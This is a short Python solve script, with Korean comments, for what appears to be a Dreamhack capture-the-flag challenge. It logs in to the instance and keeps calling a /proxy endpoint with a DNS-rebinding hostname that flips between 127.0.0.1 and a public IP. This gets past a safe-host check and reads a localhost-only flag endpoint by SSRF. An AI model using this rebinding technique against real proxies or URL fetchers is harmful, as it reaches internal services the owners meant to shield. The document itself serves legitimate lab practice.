1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| import requests
BASE = 'http://host3.dreamhack.games:14155/' # 인스턴스 주소로 교체
s = requests.Session()
# 1) 아무 계정 register + login (proxy는 requireAuth라 세션 필요)
s.post(f'{BASE}/auth', data={'id': 'a', 'pw': 'a', 'register': '1'})
s.post(f'{BASE}/auth', data={'id': 'a', 'pw': 'a'})
# 2) 리바인딩 호스트: 127.0.0.1(7f000001) <-> 공인 1.1.1.1(01010101) 랜덤 flip
host = '7f000001.01010101.rbndr.us'
params = {'scheme': 'http', 'host': host, 'port': '8080', 'path': '/api/local/flag'}
# 3) 타이밍(isSafeHost=공인, axios=127.0.0.1) 맞을 때까지 반복
for i in range(300):
r = s.get(f'{BASE}/proxy', params=params)
if 'DH{' in r.text:
print(f'[{i}] {r.text}')
break
|